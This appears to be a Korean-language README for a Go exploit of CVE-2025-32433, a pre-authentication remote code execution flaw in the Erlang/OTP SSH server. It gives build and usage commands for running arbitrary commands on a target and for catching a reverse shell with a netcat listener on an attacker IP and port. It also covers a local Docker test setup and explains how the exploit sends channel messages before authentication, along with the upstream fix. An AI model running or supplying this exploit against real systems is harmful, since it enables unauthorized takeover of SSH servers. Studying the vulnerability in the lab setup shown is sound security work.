
Go 기반 CVE-2025-32433 익스플로잇
CVE-2025-32433에 대한 Go 기반 익스플로잇으로 원격 bash 셸을 반환합니다.
ProDefense의 CVE-2025-32433 PoC에서 파생된 익스플로잇 이해를 크게 참고했습니다.
make
exploit.exe는 크로스 컴파일 Makefile을 통해 Windows 머신에서도 사용할 수 있습니다.
그런 다음 익스플로잇 바이너리를 다음 2가지 방법 중 하나로 실행합니다:
명령
./exploit <target-ip> <target-port> "<command>"
참고: 명령의 출력을 반환하지 않습니다.
리버스 셸
nc -lnvp <attacker-port>
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
ProDefense의 Dockerfile을 사용하여 다음을 통해 환경을 설정할 수 있습니다:
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
그런 다음 Running the Exploit 섹션에서처럼 익스플로잇을 실행할 수 있습니다. 예:
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1은 Docker 호스트의 기본 IP입니다.
TL;DR "문제는 SSH 프로토콜 메시지 처리의 결함으로 인해 발생하며, 공격자가 인증 전에 연결 프로토콜 메시지를 보낼 수 있게 됩니다."
일반적인 SSH 절차:
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
익스플로잇 절차:
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (사전 인증)SSH_MSG_CHANNEL_REQUEST (사전 인증) --> 명령 페이로드를 포함합니다익스플로잇에서 전체 USERAUTH 부분이 건너뛰어지는 점에 유의하세요.
SSH 메시지와 관련된 RFC:
RFC 4253: The Secure Shell (SSH) Transport Layer ProtocolRFC 4254: The Secure Shell (SSH) Connection Protocol

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

문자열 형식 (RFC 4251: The Secure Shell (SSH) Protocol Architecture에서)

패딩

다음은 Erlang OTP Libraries에 ssh: early RCE fix 커밋에서 도입된 수정 사항입니다:

이 수정은 인자에 따라 다음을 포착하는 새로운 handle_msg 절을 도입합니다:
Msg: 이전 절에서 이미 일치하지 않은 모든 수신 SSH 메시지를 위한 catch-all 변수 (예: #ssh_msg_disconnect{})#ssh{authenticated = false}: 연결이 아직 인증되지 않은 경우 일치하는 세션 상태이 절은 authenticated = true인 세션은 포착하지 않습니다. authenticated = true는 서버가 #ssh_msg_userauth_success{}를 수신할 때 세션에 첨부됩니다:

이 값은 다음 인증 방법 중 하나의 성공 후에 전송됩니다:
